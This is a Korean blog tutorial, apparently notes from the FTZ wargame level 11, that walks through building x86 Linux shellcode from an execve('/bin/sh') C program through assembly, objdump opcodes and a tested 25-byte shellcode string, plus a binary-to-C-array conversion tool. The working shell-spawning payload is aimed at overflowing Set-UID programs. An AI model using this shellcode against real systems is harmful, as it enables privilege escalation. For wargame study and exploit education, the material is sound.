쉘코드(shellcode) 만드는 방법
(1) 경량 쉘코드 만들기
쉘코드는 작게 만들수록 좋다. bufer를 메모리에 집어 넣을 때 크기가 작아야 한다.
함수의 return address를 임의의 주소로 조작할 경우 프로그램의 스택영역에서 특정코드를 실행시킬 수 있다. 이때, cracker의 관심을 끌어당기는 부분은 프로그램(application)이 user의 ID가 아닌 특정 ID,즉, Set-UID나 daemon으로 실행되고 있다는 사실일 것이다. 이런 종류의 실수가 document reader같은 프로그램에서 일어난다면 상당히 위험하다고 할 수 있다.
shell을 실행시키는 이런 작은 프로그램들을 일반적으로 shellcode라고 부른다.
/bin/bash/를 바이너리 형태로 실행 하는 것, 메모리에 직접 올리려면 커널이 바로인식 해야한다.
(중간에 커널이 없기 때문에) 그러하여 1과 0으로 되어있는 바이너리 형태로
쉘코드(Shellcode) 만드는 작업 순서
(ㄱ) 배시쉘을 실행하는 C 코드의 구조 이해
(ㄴ) 함수의 사용법 확인
(ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성
(ㄹ) 오브젝트 목적 코드 생성
(ㅁ) 실행 파일 생성
(ㅂ) objdump 프로그램을 이용해 OP Code를 추출
(ㅅ) 16진수로 문자열을 변경해 쉘코드 생성
■ 셀코드를 만들때의 레지스터의 용도(EX: 범용레지스터)
----------------------------------------
EAX 시스템 콜(system call) 함수 번호
EBX 첫번째 함수 인자
ECX 두번째 함수 인자
EDX 세번째 함수 인자
----------------------------------------
■ 함수의 사용법
쉘코드(Shellcode) 만드는 작업 순서
(ㄱ) 배시쉘을 실행하는 C 코드의 구조 이해
(ㄴ) 함수의 사용법 확인
(ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성
(ㄹ) 오브젝트 목적 코드 생성
(ㅁ) 실행 파일 생성
(ㅂ) objdump 프로그램을 이용해 OP Code를 추출
(ㅅ) 16진수로 문자열을 변경해 쉘코드 생성
[level11@ftz level11]$ cd tmp
[level11@ftz tmp]$ export LANG=C
[level11@ftz tmp]$ man execve
NAME execve - execute program
SYNOPSIS #include <unistd.h>
int execve(const char *filename, char *const argv [], char *const envp[]); ..... (중략) ..... |
.path : 실행할 파일 경로명
.argv[] : 실행파일과 같이 수행할 인자
. envp[] : 실행파일에 넘기는 환경 변수
■ 배시쉘을 실행하는 예제 코드 생성
[level11@ftz tmp]$ vi myshell.c
(function prototype)int execve(const char *filename, char *onst argv [], char *const envp[]);
#include <stdio.h>
int main() { char *bash[] = {"/bin/sh", 0}; execve(bash[0], &bash, 0); == execve(bash[0], &bash[0], 0); } |
[level11@ftz tmp]$ gcc -o myshell myshell.c
[level11@ftz tmp]$ ./myshell
sh-2.05b$ ps
PID TTY TIME CMD 3430 pts/0 00:00:00 bash 3691 pts/0 00:00:00 sh 3692 pts/0 00:00:00 ps |
-> myshell 프로그램이 정상 동작한다는 것을 확인할 수 있다.
sh-2.05b$ exit
[level11@ftz tmp]$
■ /usr/include/asm/unistd.h 파일에서 사용할 함수의 시스템 콜(System Call) 번호 확인
쉘코드(Shellcode) 만드는 작업 순서
(ㄱ) 배시쉘을 실행하는 C 코드의 구조 이해
(ㄴ) 함수의 사용법 확인
(ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성
(ㄹ) 오브젝트 목적 코드 생성
(ㅁ) 실행 파일 생성
(ㅂ) objdump 프로그램을 이용해 OP Code를 추출
(ㅅ) 16진수로 문자열을 변경해 쉘코드 생성
[level11@ftz tmp]$ cat /usr/include/asm/unistd.h | more (함수호출번호)
#ifndef _ASM_I386_UNISTD_H_ #define _ASM_I386_UNISTD_H_ /* * This file contains the system call numbers. */ #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 ..... (중략) ...... |
■ 배쉬쉘을 실행하는 어셈블리 코드 생성
[level11@ftz tmp]$ vi myshell.s
.global _start
_start:
xor %eax, %eax # EAX 레지스터를 0으로 초기화 xor %edx, %edx # EDX 레지스터를 0으로 초기화
# 첫번째 인자인 "/bin//sh" 문자열을 조합 push %eax # NULL(=0)으로 문자열 끝을 표시 push $0x68732f2f # "//sh" 문자열을 스택에 push push $0x6e69622f # "/bin" 문자열을 스택에 push mov %esp, %ebx # "/bin//sh" 문자열의 주소를 저장
# 두번째 인자인 "/bin//sh" 문자열을 조합 push %edx # NULL(=0)으로 문자열 끈을 표시 push %ebx # "/bin//sh" 문자열의 주소를 push mov %esp, %ecx # "/bin//sh" 문자열의 주소를 ECX에 저장
# execve 함수 호출 movb $0x0B, %al # 0x0B(=11) execve() 함수의 호출 번호 int $0x80 # 인터럽트 호출 |
위에 작성된 어셈블리에 대해 자세하게 알아보자.
.global _start
_start: |
C 언어의 main() 부분정도로 생각한다.
.global _start
_start:
xor %eax, %eax # EAX 레지스터를 0으로 초기화 xor %edx, %edx # EDX 레지스터를 0으로 초기화 |
- C 언어의 int cnt = 0; 부분정도로 생각한다.
- XOR 연산
1 0 1 0
XOR 1 1 0 0
------------------------------
0 1 1 0
------------------------------
- XOR 연산은 2개의 operand 값이 같으면 0 이고, 다르면 1이다. 따라서 "XOR %EAX, %EAX"는 EAX 레지스터를 0으로 초기화 하는 작업이다.
.globl _start
_start:
xor %eax, %eax # EAX 레지스터를 0으로 초기화 xor %edx, %edx # EDX 레지스터를 0으로 초기화
# 첫번째 인자인 "/bin//sh" 문자열을 조합 push %eax # NULL(=0)으로 문자열 끝을 표시 push $0x68732f2f # "//sh" 문자열을 스택에 push push $0x6e69622f # "/bin" 문자열을 스택에 push mov %esp, %ebx # "/bin//sh" 문자열의 주소를 저장 |
C 언어에서 배열이나 포인터를 이용한 문자열 할당 정도로 생각한다.
어셈블리에서는 NULL 까지 표시해야 한다.
-----------------------------------------------
레지스터 저장값 의미
-----------------------------------------------
EAX 0 NULL
EBX 0xbfff0808 &(/bin//sh)
ECX
EDX 0 NULL
-----------------------------------------------
(스택 구조)
| | 낮은 주소
| |
| |
| /bin | <--- SP(0xbfff0808)
| //sh |
| NULL |
| .... |
| .... |
+-----------------+ 높은 주소
---------------------------------- [참고] -----------------------------
[참고] push $0x68732f2f == //sh
push $0x6e69622f == /bin
<!--[if !supportEmptyParas]--> <!--[endif]-->
-----------------------------------------
어셈블리 명령 OP Code
-----------------------------------------
push $0x68732f2f 68 2f 2f 73 68
push $0x6e69622f 68 2f 62 69 6e
-----------------------------------------
-> 어셈블리 명령은 OP Code 만들면 위와 같다.
<!--[if !supportEmptyParas]--> <!--[endif]-->
"68 2f 2f 73 68" 의미?
68 => push
2f 2f 73 68 => 2f(/) 2f(/) 73(s) 68(h)
"68 2f 62 69 6e" 의미?
68 => push
2f 62 69 6e => 2f(/) 62(b) 69(i) 6e(n)
---------------------------------- [참고] -----------------------------
.globl _start
_start:
xor %eax, %eax # EAX 레지스터를 0으로 초기화 xor %edx, %edx # EDX 레지스터를 0으로 초기화
# 첫번째 인자인 "/bin//sh" 문자열을 조합 push %eax # NULL(=0)으로 문자열 끝을 표시 push $0x68732f2f # "//sh" 문자열을 스택에 push push $0x6e69622f # "/bin" 문자열을 스택에 push mov %esp, %ebx # "/bin//sh" 문자열의 주소를 저장
# 두번째 인자인 "/bin//sh" 문자열을 조합 push %edx # NULL(=0)으로 문자열 끈을 표시 push %ebx # "/bin//sh" 문자열의 주소를 push mov %esp, %ecx # "/bin//sh" 문자열의 주소를 ECX에 저장 |
-----------------------------------------------
레지스터 저장값 의미 -> execve(&(/bin/sh), &(*(/bin/sh), 0)
-----------------------------------------------
EAX 0 NULL -> execve()
EBX 0xbfff0808 &(/bin//sh) -> &(/bin/sh)
ECX 0xbfff0810 &(/bin//sh) -> &(*(/bin/sh)
EDX 0 NULL -> 0
-----------------------------------------------
&(*(/bin/sh) 주소의 주소값
(스택 구조)
| | 낮은 주소
| |
| |
| 0xbfff0808 | <--- SP(0xbfff0810)
| NULL |
| /bin | <--- 0xbfff0808
| //sh |
| NULL |
| .... |
| .... |
+---------------+ 높은 주소
.globl _start
_start:
xor %eax, %eax # EAX 레지스터를 0으로 초기화 xor %edx, %edx # EDX 레지스터를 0으로 초기화
# 첫번째 인자인 "/bin//sh" 문자열을 조합 push %eax # NULL(=0)으로 문자열 끝을 표시 push $0x68732f2f # "//sh" 문자열을 스택에 push push $0x6e69622f # "/bin" 문자열을 스택에 push mov %esp, %ebx # "/bin//sh" 문자열의 주소를 저장
# 두번째 인자인 "/bin//sh" 문자열을 조합 push %edx # NULL(=0)으로 문자열 끈을 표시 push %ebx # "/bin//sh" 문자열의 주소를 push mov %esp, %ecx # "/bin//sh" 문자열의 주소를 ECX에 저장
# execve 함수 호출 movb $0x0B, %al # 0x0B(=11) execve() 함수의 호출 번호 int $0x80 # 인터럽트 호출 |
-----------------------------------------------
레지스터 저장값 의미
-----------------------------------------------
EAX 0xB 정수11
EBX 0xbfff0808 &(/bin//sh)
ECX 0xbfff0810 &(/bin//sh)
EDX 0 NULL
-----------------------------------------------
(스택 구조)
| | 낮은 주소
| |
| |
| 0xbfff0808 | <--- SP(0xbfff0810)
| NULL |
| /bin | <--- 0xbfff0808
| //sh |
| NULL |
| .... |
| .... |
+-----------------+ 높은 주소
■ 어셈블리어 코드를 컴파일
쉘코드(Shellcode) 만드는 작업 순서
(ㄱ) 배시쉘을 실행하는 C 코드의 구조 이해
(ㄴ) 함수의 사용법 확인
(ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성
(ㄹ) 오브젝트 목적 코드 생성
(ㅁ) 실행 파일 생성
(ㅂ) objdump 프로그램을 이용해 OP Code를 추출
(ㅅ) 16진수로 문자열을 변경해 쉘코드 생성
# man as
NAME
AS - the portable GNU assembler.
# man ld
NAME
ld - Using LD, the GNU linker
[level11@ftz tmp]$ as myshell.s -o myshell.o 어셈블러 -> 바이너리 변환(2단계 거침)
[level11@ftz tmp]$ ld myshell.o -o myshell 실제코드 전환 -> 1과 0 -> 링킹
[level11@ftz tmp]$ ./myshell
sh-2.05b$ ps
PID TTY TIME CMD 3463 pts/0 00:00:00 bash 13784 pts/0 00:00:00 sh |
sh-2.05b$ exit
exit |
-> 정상적으로 동작하는 것을 확인 할 수 있다.
[level11@ftz tmp]$
■ OP Code 추출
쉘코드(Shellcode) 만드는 작업 순서
(ㄱ) 배시쉘을 실행하는 C 코드의 구조 이해
(ㄴ) 함수의 사용법 확인
(ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성
(ㄹ) 오브젝트 목적 코드 생성
(ㅁ) 실행 파일 생성
(ㅂ) objdump 프로그램을 이용해 OP Code를 추출
(ㅅ) 16진수로 문자열을 변경해 쉘코드 생성
[level11@ftz tmp]$ objdump -d ./myshell 바이너리를 어셈블리로 매핑하여 출력
./myshell: file format elf32-i386 Disassembly of section .text: 08048074 <_start>: 8048074: 31 c0 xor %eax,%eax 8048076: 31 d2 xor %edx,%edx 8048078: 50 push %eax 8048079: 68 2f 2f 73 68 push $0x68732f2f 804807e: 68 2f 62 69 6e push $0x6e69622f 8048083: 89 e3 mov %esp,%ebx 8048085: 52 push %edx 8048086: 53 push %ebx 8048087: 89 e1 mov %esp,%ecx 8048089: b0 0b mov $0xb,%al 804808b: cd 80 int $0x80 |
수작업으로 16진수로 변환하여야 한다.
아래와 같은 비슷한 형식으로 변경한다.
■ 16진수로 문자열을 변경해 쉘코드 생성
<!--[if !supportEmptyParas]--> <!--[endif]-->
쉘코드(Shellcode) 만드는 작업 순서
(ㄱ) 배시쉘을 실행하는 C 코드의 구조 이해
(ㄴ) 함수의 사용법 확인
(ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성
(ㄹ) 오브젝트 목적 코드 생성
(ㅁ) 실행 파일 생성
(ㅂ) objdump 프로그램을 이용해 OP Code를 추출
(ㅅ) 16진수로 문자열을 변경해 쉘코드 생성
char shellcode[] =
"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
메모리에서 해석없이 바로 실행 할 수 있도록
어셈블리어로 만들어서 바이너리로 변환하는 이유는 작게 만들기 위해서 이다.
■ 쉘코드 테스트
[level11@ftz tmp]$ vi myshellex.c
#include <stdio.h>
char shellcode[] = "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int main() { printf("Size: %d bytes\n", strlen(shellcode)); (*(void (*)()) shellcode)(); } |
[level11@ftz tmp]$ gcc -o myshellex myshellex.c
[level11@ftz tmp]$ ./myshellex
Size: 25 bytes sh-2.05b$ exit exit |
[level11@ftz tmp]$
쉘코드 만드는 방법에 대한 소개
- http://www.linuxfocus.org/Korean/March2001/article183.shtml
다음은 쉘코드 만드는 코드이다.
/* * [cdump 0.1 by PoWeR_PoRK of netric (http://www.netric.org)] * * Simple pipe driven utility for creating c-style char decs from binary * input. Can be of use for embedding shellcode etc in c sourcefiles. * Do "./shdump -h" for a usage overview. */ #include <stdio.h> char usage[] = "Usage: ./cdump [-h][-n <var name>][-u][-s <linesize>][-c [-cu]]n" "Pipe driven utility for coverting binary data to c char declaration.n" "Example: cat binfile | ./shdump -u -s 20 >> bin.cn" "This adds the contents of binfile to bin.c in char declaration formatnn" "-h <var name> See this usage overviewn" "-n Name of the char identifier (maxsize=30, default=foobar)n" "-u Set this to uppercase the hex outputn" "-s <linesize> Set the maximum line size per byte input (default=10)n" "-c Comment the byte offsets into the outputn" "-cu Set this to uppercase hex chars in byte offset commentn"; int main(int argc, char **argv[]) { int i = -2,oldi, lsize = 10, ucase = 0, npar = 1, cc = 1, cmt = 0, cucase = 0; unsigned long place = 0; char c, vname[31]; vname[30] = 0; strncpy(&vname, "foobar", 30);
if(argc > 1){ if(!strncmp(argv[1], "-h", 2)){ printf("%s", &usage); exit(0); }
while(npar <= 5 && npar <= (argc - 1)){ if(!strncmp(argv[npar], "-n", 2)){ strncpy(&vname, argv[npar+1], 30); npar+=2; }else if(!strncmp(argv[npar], "-u", 2)){ ucase = 1; npar++; }else if(!strncmp(argv[npar], "-s", 2)){ lsize = atoi(argv[npar+1]); npar+=2; }else if(!strncmp(argv[npar], "-c", 2)){ cmt = 1; npar++; if(npar <= (argc - 1)){ if(!strncmp(argv[npar], "-cu", 3)){ cucase = 1; npar++; } } }else{ npar = argc; } } } if(strchr((char *)&vname, 37) != NULL){ printf("Cheeky Bastard! :P (fmt exploitation not allowed)n"); exit(0); } oldi = getchar(); printf("char %s =n/* 0000:0000 */ "", (char *)&vname); while(oldi != EOF ) { if( ucase == 0 ){ printf("\x%.2x", oldi); }else if( ucase == 1 ){ printf("\x%.2X", oldi); } if(cc >= lsize){ if(cmt == 1){ place += cc; if(cucase == 1){ printf(""n/* %.4X:%.4X */ ", *((unsigned short *)&place + 1), *((unsigned short *)&place)); }else{ printf(""n/* %.4x:%.4x */ ", *((unsigned short *)&place + 1), *((unsigned short *)&place)); } }else{ printf(""n"); } printf("""); cc = 0; } cc++; oldi = getchar(); } printf("";n"); return 0; } |
쉘코드를 능숙하게 만들기 위해서는 쉘 코드를 만드는 기본 개념을 바탕으로 셀스톰과 같은 쉘코드를 배포하는 사이트에 있는 다양한 쉘코드를 따라 하면 될것이다.
칼리 리눅스에는 많은 플랫폼에서 사용이 가능한 shellcode가 존재한다.
'Learning > └◆Reversing' 카테고리의 다른 글
[참고] Format String 공격시 (0) | 2017.01.30 |
---|---|
[참고] 쉘코드(ShellCode) 만드는 방법2 (0) | 2017.01.30 |
[참고] FTZ LEVEL11 쉘코드 제작시 참고 (0) | 2017.01.30 |
[참고] Format String이란 (0) | 2017.01.30 |